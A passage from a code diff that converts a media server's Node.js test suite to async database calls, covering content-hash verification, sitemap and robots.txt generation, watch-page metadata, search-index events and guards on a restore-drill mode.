=> l.provider === 'local').state, 'present');-- const fd = fs.openSync(c.file, 'r+'); fs.writeSync(fd, Buffer.from([0]), 0, 1, 500); fs.closeSync(fd);-- const bad = await verify.verifyObject(c.obj(), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });-- assert.strictEqual(bad.locations.find(l => l.provider === 'local').state, 'corrupt', 'bit rot of the same size is now visible');-- console.log('✅ scheduled verification checks local copies against the recorded hash');++ // ── 4. Verification uses it: a corrupted local copy of the same size is caught ──++ const c = await vodWith('c.mp4', Buffer.alloc(100000, 8));++ await hashJob.hashBatch({ appId: 'live', objectId: (await c.obj()).id });++ const good = await verify.verifyObject((await c.obj()), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });++ assert.strictEqual(good.locations.find(l => l.provider === 'local').state, 'present');++ const fd = fs.openSync(c.file, 'r+'); fs.writeSync(fd, Buffer.from([0]), 0, 1, 500); fs.closeSync(fd);++ const bad = await verify.verifyObject((await c.obj()), { head: async () => undefined, upload: async () => undefined, hashMaxBytes: 64 * 1048576, repairCorrupt: false, budget: { left: 0 } });++ assert.strictEqual(bad.locations.find(l => l.provider === 'local').state, 'corrupt', 'bit rot of the same size is now visible');++ console.log('✅ scheduled verification checks local copies against the recorded hash');-- // ── 5. As a job: scheduled per tenant with work, run through the worker, pruned like thumbnails ──-- assert.throws(() => hashJob.spec.validate({ obj: null, params: { limit: 0 } }), /limit/);-- const n = hashJob.schedule(Date.now());-- assert.strictEqual(n, 2, 'one per tenant with unhashed local copies (live, games)');-- assert.strictEqual(hashJob.schedule(Date.now()), 0, 'once per period');-- const gj = queue.list('games', { type: 'object.hash' }).jobs[0];-- const done = await worker.runNow(gj.id);-- assert.strictEqual(done.status, 'succeeded');-- assert.strictEqual(JSON.parse(done.result).hashed, 1);-- assert.ok(games.obj().content_hash);-- db.run("UPDATE media_jobs SET finished_at = datetime('now', '-40 days') WHERE id = ?", [gj.id]);-- assert.strictEqual(queue.prune({ days: 30 }), 1, 'finished hash jobs are pruned');-- console.log('✅ object.hash runs as a scheduled job per tenant and is pruned when finished');++ // ── 5. As a job: scheduled per tenant with work, run through the worker, pruned like thumbnails ──++ assert.throws(() => hashJob.spec.validate({ obj: null, params: { limit: 0 } }), /limit/);++ const n = await hashJob.schedule(Date.now());++ assert.strictEqual(n, 2, 'one per tenant with unhashed local copies (live, games)');++ assert.strictEqual(await hashJob.schedule(Date.now()), 0, 'once per period');++ const gj = (await queue.list('games', { type: 'object.hash' })).jobs[0];++ const done = await worker.runNow(gj.id);++ assert.strictEqual(done.status, 'succeeded');++ assert.strictEqual(JSON.parse(done.result).hashed, 1);++ assert.ok((await games.obj()).content_hash);++ await db.run("UPDATE media_jobs SET finished_at = datetime('now', '-40 days') WHERE id = ?", [gj.id]);++ assert.strictEqual(await queue.prune({ days: 30 }), 1, 'finished hash jobs are pruned');++ console.log('✅ object.hash runs as a scheduled job per tenant and is pruned when finished');-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All content-hash tests passed');-- process.exit(0);++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All content-hash tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -11,136 +11,137 @@ const path = require('path');const http = require('http');const express = require('express');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-crawl-'));--Object.assign(process.env, { DB_PATH: path.join(tmp, 'media.db'), MEDIA_PUBLIC_URL: 'https://media.test', VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips') });++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-crawl-'));++ Object.assign(process.env, { DB_PATH: path.join(tmp, 'media.db'), MEDIA_PUBLIC_URL: 'https://media.test', VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips') });--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const pages = require('../server/public/pages');++ const db = require('../server/db/database');++ const pages = require('../server/public/pages');--db.upsertApp({ app_id: 'live', api_key: 'k1-live-crawl' });--db.upsertApp({ app_id: 'games', api_key: 'k2-games-crawl' });--db.ensureProjectTenant('prj_01TESTCRAWL00000000000000A', 'sandbox', 1024);--const raw = db.getDb();--const vod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, is_recording, health_status, thumbnail_url, created_at, duration_seconds)-- VALUES (?, ?, ?, '/x.mp4', ?, ?, ?, ?, ?, ?, 60)`);--const clip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, auto_generated, status, created_at)-- VALUES (?, ?, ?, ?, '/c.webm', ?, ?, ?, ?, ?)`);--vod.run(1, 'games', 'Games public', 1, 'public', 0, 'ok', '/t/g1.jpg', '2026-09-20 10:00:00');--vod.run(2, 'games', 'Games unlisted', 0, 'unlisted', 0, 'ok', null, '2026-09-20 11:00:00');--vod.run(3, 'games', 'Games private', 0, 'private', 0, 'ok', null, '2026-09-20 12:00:00');--vod.run(4, 'live', 'Live public', 1, 'public', 0, 'ok', null, '2026-09-21 10:00:00');--vod.run(5, 'games', 'Games recording', 1, 'public', 1, 'unknown', null, '2026-09-21 11:00:00');--vod.run(6, 'games', 'Games failed', 1, 'public', 0, 'corrupt', null, '2026-09-21 12:00:00');--vod.run(7, 'prj_01TESTCRAWL00000000000000A-sandbox', 'Sandbox', 1, 'public', 0, 'ok', null, '2026-09-21 13:00:00');--clip.run(11, 'games', 1, 'Games clip', 1, 'public', 0, 'ready', '2026-09-22 10:00:00');--clip.run(12, 'games', 1, 'AI moment', 1, 'public', 1, 'ready', '2026-09-22 11:00:00');--clip.run(13, 'games', 1, 'Cutting', 1, 'public', 0, 'processing', '2026-09-22 12:00:00');--clip.run(14, 'games', 1, 'Unlisted clip', 0, 'unlisted', 0, 'ready', '2026-09-22 13:00:00');--clip.run(15, 'live', 4, 'Live clip', 1, 'public', 0, 'ready', '2026-09-22 14:00:00');--// Public and finished, but its only copy (B2) has never been checked: not playable, never listed.--raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, health_status, storage_provider, created_at, duration_seconds)-- VALUES (8, 'games', 'Games unverified', '/gone.mp4', 1, 'public', 'ok', 'b2', '2026-09-21 14:00:00', 60)`).run();--// The files behind the rows, then their objects: the local copies are checked (present) when projected.--fs.mkdirSync(path.join(tmp, 'vods'), { recursive: true });--fs.mkdirSync(path.join(tmp, 'clips'), { recursive: true });--fs.writeFileSync(path.join(tmp, 'vods', 'x.mp4'), 'video bytes');--fs.writeFileSync(path.join(tmp, 'clips', 'c.webm'), 'clip bytes');--const model = require('../server/objects/model');--const readiness = require('../server/objects/readiness');--for (const id of [1, 2, 3, 4, 5, 6, 7, 8]) model.sync('vod', id);--for (const id of [11, 12, 13, 14, 15]) model.sync('clip', id);++ await db.upsertApp({ app_id: 'live', api_key: 'k1-live-crawl' });++ await db.upsertApp({ app_id: 'games', api_key: 'k2-games-crawl' });++ await db.ensureProjectTenant('prj_01TESTCRAWL00000000000000A', 'sandbox', 1024);++ const raw = db.getDb();++ const vod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, is_recording, health_status, thumbnail_url, created_at, duration_seconds) OVERRIDING SYSTEM VALUE++ VALUES (?, ?, ?, '/x.mp4', ?, ?, ?, ?, ?, ?, 60) RETURNING id`);++ const clip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, auto_generated, status, created_at) OVERRIDING SYSTEM VALUE++ VALUES (?, ?, ?, ?, '/c.webm', ?, ?, ?, ?, ?) RETURNING id`);++ await vod.run(1, 'games', 'Games public', 1, 'public', 0, 'ok', '/t/g1.jpg', '2026-09-20 10:00:00');++ await vod.run(2, 'games', 'Games unlisted', 0, 'unlisted', 0, 'ok', null, '2026-09-20 11:00:00');++ await vod.run(3, 'games', 'Games private', 0, 'private', 0, 'ok', null, '2026-09-20 12:00:00');++ await vod.run(4, 'live', 'Live public', 1, 'public', 0, 'ok', null, '2026-09-21 10:00:00');++ await vod.run(5, 'games', 'Games recording', 1, 'public', 1, 'unknown', null, '2026-09-21 11:00:00');++ await vod.run(6, 'games', 'Games failed', 1, 'public', 0, 'corrupt', null, '2026-09-21 12:00:00');++ await vod.run(7, 'prj_01TESTCRAWL00000000000000A-sandbox', 'Sandbox', 1, 'public', 0, 'ok', null, '2026-09-21 13:00:00');++ await clip.run(11, 'games', 1, 'Games clip', 1, 'public', 0, 'ready', '2026-09-22 10:00:00');++ await clip.run(12, 'games', 1, 'AI moment', 1, 'public', 1, 'ready', '2026-09-22 11:00:00');++ await clip.run(13, 'games', 1, 'Cutting', 1, 'public', 0, 'processing', '2026-09-22 12:00:00');++ await clip.run(14, 'games', 1, 'Unlisted clip', 0, 'unlisted', 0, 'ready', '2026-09-22 13:00:00');++ await clip.run(15, 'live', 4, 'Live clip', 1, 'public', 0, 'ready', '2026-09-22 14:00:00');++ // Public and finished, but its only copy (B2) has never been checked: not playable, never listed.++ await raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, health_status, storage_provider, created_at, duration_seconds) OVERRIDING SYSTEM VALUE++ VALUES (8, 'games', 'Games unverified', '/gone.mp4', 1, 'public', 'ok', 'b2', '2026-09-21 14:00:00', 60) RETURNING id`).run();++ // The files behind the rows, then their objects: the local copies are checked (present) when projected.++ fs.mkdirSync(path.join(tmp, 'vods'), { recursive: true });++ fs.mkdirSync(path.join(tmp, 'clips'), { recursive: true });++ fs.writeFileSync(path.join(tmp, 'vods', 'x.mp4'), 'video bytes');++ fs.writeFileSync(path.join(tmp, 'clips', 'c.webm'), 'clip bytes');++ const model = require('../server/objects/model');++ const readiness = require('../server/objects/readiness');++ for (const id of [1, 2, 3, 4, 5, 6, 7, 8]) await model.sync('vod', id);++ for (const id of [11, 12, 13, 14, 15]) await model.sync('clip', id);--const app = express();--app.use('/', require('../server/public/routes'));--const server = app.listen(0, '127.0.0.1');--const get = (p, headers = {}) => new Promise((resolve, reject) => {-- http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {-- let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));-- }).on('error', reject);--});++ const app = express();++ app.use('/', require('../server/public/routes'));++ const server = app.listen(0, '127.0.0.1');++ const get = (p, headers = {}) => new Promise((resolve, reject) => {++ http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {++ let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));++ }).on('error', reject);++ });--(async () => {-- await new Promise((res) => (server.listening ? res() : server.once('listening', res)));-- // ── robots.txt ──-- let r = await get('/robots.txt');-- assert.strictEqual(r.status, 200);-- assert.ok(r.headers['content-type'].startsWith('text/plain'));-- assert.ok(r.body.includes('Sitemap: https://media.test/sitemap.xml'));-- for (const d of ['/api/', '/auth/', '/o/', '/internal/']) assert.ok(r.body.includes(`Disallow: ${d}`), `robots keeps ${d} out`);-- assert.ok(/User-agent: GPTBot/.test(r.body) && /User-agent: ClaudeBot/.test(r.body), 'the AI-crawler policy is named');-- console.log('✅ /robots.txt: sitemap, APIs disallowed, AI crawlers named');++ (async () => {++ await new Promise((res) => (server.listening ? res() : server.once('listening', res)));++ // ── robots.txt ──++ let r = await get('/robots.txt');++ assert.strictEqual(r.status, 200);++ assert.ok(r.headers['content-type'].startsWith('text/plain'));++ assert.ok(r.body.includes('Sitemap: https://media.test/sitemap.xml'));++ for (const d of ['/api/', '/auth/', '/o/', '/internal/']) assert.ok(r.body.includes(`Disallow: ${d}`), `robots keeps ${d} out`);++ assert.ok(/User-agent: GPTBot/.test(r.body) && /User-agent: ClaudeBot/.test(r.body), 'the AI-crawler policy is named');++ console.log('✅ /robots.txt: sitemap, APIs disallowed, AI crawlers named');-- // ── sitemap.xml ──-- r = await get('/sitemap.xml');-- assert.strictEqual(r.status, 200);-- assert.ok(r.headers['content-type'].startsWith('application/xml'));-- const locs = [...r.body.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);-- assert.deepStrictEqual(locs.filter(l => !l.includes('/t/')).sort(), ['https://media.test/', 'https://media.test/c/11', 'https://media.test/v/1'].sort());-- assert.ok(r.body.includes('<image:loc>https://media.test/t/g1.jpg</image:loc>'), 'thumbnails as image entries');-- for (const never of ['/v/2', '/v/3', '/v/4', '/v/5', '/v/6', '/v/7', '/v/8', '/c/12', '/c/13', '/c/14', '/c/15']) {-- assert.ok(!locs.includes(`https://media.test${never}`), `${never} is not listed`);-- }-- // Every listed watch page renders index, follow (no "submitted URL marked noindex").-- const byId = (t, id) => db.get(`SELECT * FROM ${t} WHERE id = ?`, [id]);-- const page = (kind, row) => pages.renderWatchPage(kind, row, readiness.forRow(row));-- assert.ok(page('vod', byId('vods', 1)).includes('content="index, follow"'));-- assert.ok(page('clip', byId('clips', 11)).includes('content="index, follow"'));-- assert.strictEqual(readiness.forRow(byId('vods', 8)).reason, 'verification_pending');-- assert.ok(page('vod', byId('vods', 8)).includes('content="noindex, follow"'), 'a page without a player never indexes');-- console.log('✅ /sitemap.xml: public playable items Media is canonical for; private, unlisted, sandbox, Live-owned, AI, recording, failed and unverified never');++ // ── sitemap.xml ──++ r = await get('/sitemap.xml');++ assert.strictEqual(r.status, 200);++ assert.ok(r.headers['content-type'].startsWith('application/xml'));++ const locs = [...r.body.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);++ assert.deepStrictEqual(locs.filter(l => !l.includes('/t/')).sort(), ['https://media.test/', 'https://media.test/c/11', 'https://media.test/v/1'].sort());++ assert.ok(r.body.includes('<image:loc>https://media.test/t/g1.jpg</image:loc>'), 'thumbnails as image entries');++ for (const never of ['/v/2', '/v/3', '/v/4', '/v/5', '/v/6', '/v/7', '/v/8', '/c/12', '/c/13', '/c/14', '/c/15']) {++ assert.ok(!locs.includes(`https://media.test${never}`), `${never} is not listed`);++ }++ // Every listed watch page renders index, follow (no "submitted URL marked noindex").++ const byId = async (t, id) => await db.get(`SELECT * FROM ${t} WHERE id = ?`, [id]);++ const page = async (kind, row) => pages.renderWatchPage(kind, row, await readiness.forRow(row));++ assert.ok((await page('vod', await byId('vods', 1))).includes('content="index, follow"'));++ assert.ok((await page('clip', await byId('clips', 11))).includes('content="index, follow"'));++ assert.strictEqual((await readiness.forRow(await byId('vods', 8))).reason, 'verification_pending');++ assert.ok((await page('vod', await byId('vods', 8))).includes('content="noindex, follow"'), 'a page without a player never indexes');++ console.log('✅ /sitemap.xml: public playable items Media is canonical for; private, unlisted, sandbox, Live-owned, AI, recording, failed and unverified never');-- // ── llms.txt ──-- r = await get('/llms.txt');-- assert.strictEqual(r.status, 200);-- assert.ok(r.body.startsWith('# OpenVibe.Media') && r.body.includes('https://media.test/sitemap.xml') && r.body.includes('AI clip'));-- assert.ok(!/\bfree\b/i.test(r.body), 'no cost claims');-- console.log('✅ /llms.txt maps the site');++ // ── llms.txt ──++ r = await get('/llms.txt');++ assert.strictEqual(r.status, 200);++ assert.ok(r.body.startsWith('# OpenVibe.Media') && r.body.includes('https://media.test/sitemap.xml') && r.body.includes('AI clip'));++ assert.ok(!/\bfree\b/i.test(r.body), 'no cost claims');++ console.log('✅ /llms.txt maps the site');-- // ── Watch pages: VideoObject on public pages; AI clips noindex, no Person, based on the VOD ──-- const ldOf = (html) => { const m = /<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html); return m ? JSON.parse(m[1]) : null; };-- const pub = pages.renderWatchPage('vod', { ...byId('vods', 1), username: 'gamer' });-- assert.strictEqual(ldOf(pub)['@type'], 'VideoObject');-- assert.deepStrictEqual(ldOf(pub).author, { '@type': 'Person', name: 'gamer' });-- const aiHtml = pages.renderWatchPage('clip', { ...byId('clips', 12), username: 'gamer' });-- assert.ok(aiHtml.includes('content="noindex, follow"'), 'AI clips never index');-- const aiLd = ldOf(aiHtml);-- assert.strictEqual(aiLd.author, undefined, 'no Person attribution for an AI clip');-- assert.deepStrictEqual(aiLd.creator, { '@type': 'Organization', name: 'OpenVibe AI', url: 'https://openvibe.network' });-- assert.strictEqual(aiLd.isBasedOn, 'https://media.test/v/1');-- assert.ok(aiHtml.includes('<span>AI clip</span>') && !aiHtml.includes('by gamer'));-- assert.strictEqual(ldOf(pages.renderWatchPage('vod', byId('vods', 2))), null, 'unlisted pages carry no structured data');-- assert.ok(pages.renderWatchPage('clip', byId('clips', 15)).includes('content="noindex, follow"'), 'Live-owned: canonical on Live');-- r = await get('/c/12', { accept: 'text/html', 'sec-fetch-dest': 'document' });-- assert.strictEqual(r.status, 200);-- assert.ok(r.body.includes('content="noindex, follow"'));-- console.log('✅ watch pages: VideoObject when public; AI clips noindex, attributed to OpenVibe AI and their source VOD');++ // ── Watch pages: VideoObject on public pages; AI clips noindex, no Person, based on the VOD ──++ const ldOf = (html) => { const m = /<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html); return m ? JSON.parse(m[1]) : null; };++ const pub = pages.renderWatchPage('vod', { ...await byId('vods', 1), username: 'gamer' });++ assert.strictEqual(ldOf(pub)['@type'], 'VideoObject');++ assert.deepStrictEqual(ldOf(pub).author, { '@type': 'Person', name: 'gamer' });++ const aiHtml = pages.renderWatchPage('clip', { ...await byId('clips', 12), username: 'gamer' });++ assert.ok(aiHtml.includes('content="noindex, follow"'), 'AI clips never index');++ const aiLd = ldOf(aiHtml);++ assert.strictEqual(aiLd.author, undefined, 'no Person attribution for an AI clip');++ assert.deepStrictEqual(aiLd.creator, { '@type': 'Organization', name: 'OpenVibe AI', url: 'https://openvibe.network' });++ assert.strictEqual(aiLd.isBasedOn, 'https://media.test/v/1');++ assert.ok(aiHtml.includes('<span>AI clip</span>') && !aiHtml.includes('by gamer'));++ assert.strictEqual(ldOf(pages.renderWatchPage('vod', await byId('vods', 2))), null, 'unlisted pages carry no structured data');++ assert.ok(pages.renderWatchPage('clip', await byId('clips', 15)).includes('content="noindex, follow"'), 'Live-owned: canonical on Live');++ r = await get('/c/12', { accept: 'text/html', 'sec-fetch-dest': 'document' });++ assert.strictEqual(r.status, 200);++ assert.ok(r.body.includes('content="noindex, follow"'));++ console.log('✅ watch pages: VideoObject when public; AI clips noindex, attributed to OpenVibe AI and their source VOD');-- // ── Search documents (search-documents.js): exactly the sitemap's watch pages; a page that stops-- // qualifying gets one tombstone; nothing is sent twice ──-- const events = require('../server/events');-- events.init({ eventsUrl: 'http://127.0.0.1:9', clientSecret: 's', intervalMs: 3_600_000, fetchImpl: async () => { throw new Error('offline'); } });-- const search = require('../server/public/search-documents');-- const queued = () => raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((x) => JSON.parse(x.envelope)).filter((e) => /^media\.index_document\./.test(e.event_type));-- const { validate } = require('openvibe-contracts');-- search.sync();-- const sent = queued();-- assert.deepStrictEqual(sent.map((e) => e.payload.canonical_url).sort(), require('../server/public/crawl').sitemapEntries().map((e) => e.loc).sort(), 'the same pages as the sitemap');-- for (const e of sent) { const v = validate(`${e.event_type}@1`, e.payload); assert.ok(v.valid, JSON.stringify(v.errors)); assert.strictEqual(e.priority, 'low'); assert.ok(!('app_id' in e.payload)); }-- search.sync();-- assert.strictEqual(queued().length, sent.length, 'unchanged: nothing sent again');-- raw.prepare("UPDATE vods SET visibility = 'private', is_public = 0 WHERE id = 1").run();-- search.sync();-- const tomb = queued().at(-1);-- assert.strictEqual(tomb.event_type, 'media.index_document.deleted');-- assert.deepStrictEqual(tomb.payload, { type: 'vod', id: '1', revision: 2 });-- assert.ok(validate('media.index_document.deleted@1', tomb.payload).valid);-- events._reset && events._reset();-- console.log('✅ search documents: the sitemap\'s pages, sent once, a tombstone when one goes private');++ // ── Search documents (search-documents.js): exactly the sitemap's watch pages; a page that stops++ // qualifying gets one tombstone; nothing is sent twice ──++ const events = require('../server/events');++ events.init({ eventsUrl: 'http://127.0.0.1:9', clientSecret: 's', intervalMs: 3_600_000, fetchImpl: async () => { throw new Error('offline'); } });++ const search = require('../server/public/search-documents');++ const queued = async () => (await raw.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((x) => (typeof x.envelope === 'string' ? JSON.parse(x.envelope) : x.envelope)).filter((e) => /^media\.index_document\./.test(e.event_type));++ const { validate } = require('openvibe-contracts');++ await search.sync();++ const sent = await queued();++ assert.deepStrictEqual(sent.map((e) => e.payload.canonical_url).sort(), (await require('../server/public/crawl').sitemapEntries()).map((e) => e.loc).sort(), 'the same pages as the sitemap');++ for (const e of sent) { const v = validate(`${e.event_type}@1`, e.payload); assert.ok(v.valid, JSON.stringify(v.errors)); assert.strictEqual(e.priority, 'low'); assert.ok(!('app_id' in e.payload)); }++ await search.sync();++ assert.strictEqual((await queued()).length, sent.length, 'unchanged: nothing sent again');++ await raw.prepare("UPDATE vods SET visibility = 'private', is_public = 0 WHERE id = 1").run();++ await search.sync();++ const tomb = (await queued()).at(-1);++ assert.strictEqual(tomb.event_type, 'media.index_document.deleted');++ assert.deepStrictEqual(tomb.payload, { type: 'vod', id: '1', revision: 2 });++ assert.ok(validate('media.index_document.deleted@1', tomb.payload).valid);++ events._reset && events._reset();++ console.log('✅ search documents: the sitemap\'s pages, sent once, a tombstone when one goes private');-- server.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All crawler tests passed');-- process.exit(0);--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++ server.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All crawler tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -9,30 +9,23 @@ const fs = require('fs');const os = require('os');const path = require('path');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-dbopen-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--for (const [k, n] of [['VOD_PATH', 'vods'], ['CLIPS_PATH', 'clips'], ['FILES_PATH', 'files'], ['THUMBNAILS_PATH', 'thumbnails'], ['PASTES_PATH', 'pastes'], ['OBJECTS_PATH', 'objects']]) process.env[k] = dir(n);--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--console.log = () => {};----const Database = require('better-sqlite3');--const db = require('../server/db/database');--db.getDb();--db.run("INSERT INTO clips (id, app_id, vod_id, title, status) VALUES (41, 'live', 1, 'being cut', 'processing')");----// A second process opening the same file (a script on the host) goes through getDb() too.--const other = require('child_process').spawnSync(process.execPath, ['-e', `-- process.env.DB_PATH = ${JSON.stringify(process.env.DB_PATH)};-- ${['VOD_PATH', 'CLIPS_PATH', 'FILES_PATH', 'THUMBNAILS_PATH', 'PASTES_PATH', 'OBJECTS_PATH', 'MEDIA_PUBLIC_URL'].map(k => `process.env.${k} = ${JSON.stringify(process.env[k])};`).join('\n')}++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-dbopen-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ for (const [k, n] of [['VOD_PATH', 'vods'], ['CLIPS_PATH', 'clips'], ['FILES_PATH', 'files'], ['THUMBNAILS_PATH', 'thumbnails'], ['PASTES_PATH', 'pastes'], ['OBJECTS_PATH', 'objects']]) process.env[k] = dir(n);++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';console.log = () => {};-- require(${JSON.stringify(path.join(__dirname, '..', 'server', 'db', 'database'))}).getDb();--`], { encoding: 'utf8' });--assert.strictEqual(other.status, 0, other.stderr);--const raw = new Database(process.env.DB_PATH, { readonly: true });--assert.strictEqual(raw.prepare('SELECT status FROM clips WHERE id = 41').get().status, 'processing', 'opening the database leaves a clip being cut alone');--raw.close();++ const db = require('../server/db/database');++ await db.initDb();++ await db.run("INSERT INTO clips (id, app_id, vod_id, title, status) OVERRIDING SYSTEM VALUE VALUES (41, 'live', 1, 'being cut', 'processing')");++++ // Another opening of the database (a script on the host goes through initDb() too) changes no row.++ await db.close();++ await db.initDb();++ assert.strictEqual((await db.get('SELECT status FROM clips WHERE id = 41')).status, 'processing', 'opening the database leaves a clip being cut alone');--fs.rmSync(tmp, { recursive: true, force: true });--process.stdout.write('db open keeps clips: all checks passed\n');++ fs.rmSync(tmp, { recursive: true, force: true });++ process.stdout.write('db open keeps clips: all checks passed\n');++})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,10 +1,11 @@'use strict';/*** MEDIA_DRILL=1 (server/drill.js): a restore-drill instance (`ovhost drill media`, OpenVibe.Host-- * docs/restore-drills.md) serves reads from a restored copy of media.db and does nothing else.++ * docs/restore-drills.md) serves reads from a restored copy of the database and does nothing else.*-- * - It refuses to start when DB_PATH is production's media.db or inside the checkout, when HOST is-- * not loopback or PORT is production's 4100, before the database is opened (a real++ * - It refuses to start when DATABASE_URL is production's database (ov_media on 5432/6432) or++ * DATABASE_DIRECT_URL is set, when HOST is not loopback or PORT is production's 4100, before the++ * database is opened (a real* `node server/index.js`, in a child process).* - Booted for real (server/index.js, in this process) on a copy whose `live` app has a webhook* URL, with production-like settings (EVENTS_URL + client secret, B2/R2, app seeding, VOD_PATH …):@@@ -27,291 +28,277 @@ const os = require('os');const path = require('path');const { spawnSync, execFileSync } = require('child_process');--const REPO = path.resolve(__dirname, '..');--const SERVER = path.join(REPO, 'server');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'media-drill-test-'));--// "Production": its database and its storage, with real files the database points at.--const PROD = path.join(tmp, 'prod');--const P = { vods: path.join(PROD, 'vods'), clips: path.join(PROD, 'clips'), pastes: path.join(PROD, 'pastes'), files: path.join(PROD, 'files'), objects: path.join(PROD, 'objects'), assets: path.join(PROD, 'assets'), thumbs: path.join(PROD, 'thumbnails') };--// The drill: the restored copy in its own directory; storage the way the Host inventory sets it--// (every directory but thumbnails moved under the drill directory, never created).--const DRILL = path.join(tmp, 'drill');--const DB_PATH = path.join(DRILL, 'db', 'media.db');--const STORAGE = path.join(DRILL, 'storage');----let failures = 0;--async function check(name, fn) {-- try { await fn(); console.log(` ✓ ${name}`); } catch (err) { failures++; console.error(` ✗ ${name}\n ${err.stack || err.message}`); }--}--function freePort() {-- return new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });--}--/** Every file and directory under dir with its size and mtime. */--function snapshot(dir) {-- const out = {};-- const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); const s = fs.statSync(p); out[path.relative(dir, p)] = `${e.isDirectory() ? 'dir' : s.size}:${s.mtimeMs}`; if (e.isDirectory()) walk(p); } };-- walk(dir);-- return out;--}----const drillMod = require('../server/drill'); // MEDIA_DRILL is unset here: `enabled` is false until the boot below--const safe = { DB_PATH, HOST: '127.0.0.1', PORT: '14100' };--(async () => {-- console.log('drill-mode: environment guard');-- await check('MEDIA_DRILL parses like a switch and is off by default', () => {-- for (const v of ['1', 'true', 'on', 'yes']) assert.strictEqual(drillMod.parse(v), true, v);-- for (const v of ['', '0', 'false', 'off', undefined]) assert.strictEqual(drillMod.parse(v), false, String(v));-- assert.strictEqual(drillMod.enabled, false);-- });-- await check('a safe environment passes', () => assert.deepStrictEqual(drillMod.problems(safe), []));-- await check('refuses production\'s media.db (the checkout\'s, /opt/openvibe.media\'s, the relative default)', () => {-- for (const p of [path.join(REPO, 'data', 'media.db'), '/opt/openvibe.media/data/media.db']) {-- assert.ok(drillMod.problems({ ...safe, DB_PATH: p }).some((m) => /production's database/.test(m)), p);-- }-- assert.ok(drillMod.problems({ ...safe, DB_PATH: './data/media.db' }, { cwd: REPO }).some((m) => /production's database/.test(m)));-- assert.ok(drillMod.problems({ ...safe, DB_PATH: '' }).some((m) => /DB_PATH is not set/.test(m)));-- });-- await check('refuses a copy inside the checkout or /opt/openvibe.media, also through a symlink', () => {-- assert.ok(drillMod.problems({ ...safe, DB_PATH: path.join(REPO, 'drill.db') }).some((m) => /is inside/.test(m)));-- assert.ok(drillMod.problems({ ...safe, DB_PATH: '/opt/openvibe.media/drill/media.db' }).some((m) => /is inside \/opt\/openvibe\.media/.test(m)));-- const link = path.join(tmp, 'sneaky');-- fs.symlinkSync(REPO, link);-- assert.ok(drillMod.problems({ ...safe, DB_PATH: path.join(link, 'copy.db') }).some((m) => /is inside/.test(m)));-- fs.unlinkSync(link);-- });-- await check('refuses a non-loopback HOST and production\'s PORT', () => {-- for (const h of ['', '0.0.0.0', '::', '10.0.0.4']) assert.ok(drillMod.problems({ ...safe, HOST: h }).some((m) => /not loopback/.test(m)), h);-- for (const h of ['127.0.0.1', '::1', 'localhost']) assert.deepStrictEqual(drillMod.problems({ ...safe, HOST: h }), [], h);-- assert.ok(drillMod.problems({ ...safe, PORT: '4100' }).some((m) => /production's port/.test(m)));-- assert.ok(drillMod.problems({ ...safe, PORT: '' }).some((m) => /PORT is not set/.test(m)));-- });---- // ── A real `node server/index.js` refuses before opening anything ──-- console.log('drill-mode: refusal at boot');-- const refusalPort = await freePort();-- const boot = (env) => spawnSync(process.execPath, [path.join(SERVER, 'index.js')], {-- cwd: REPO, encoding: 'utf8', timeout: 30000,-- env: { ...process.env, MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(refusalPort), ...env },-- });-- const stamp = 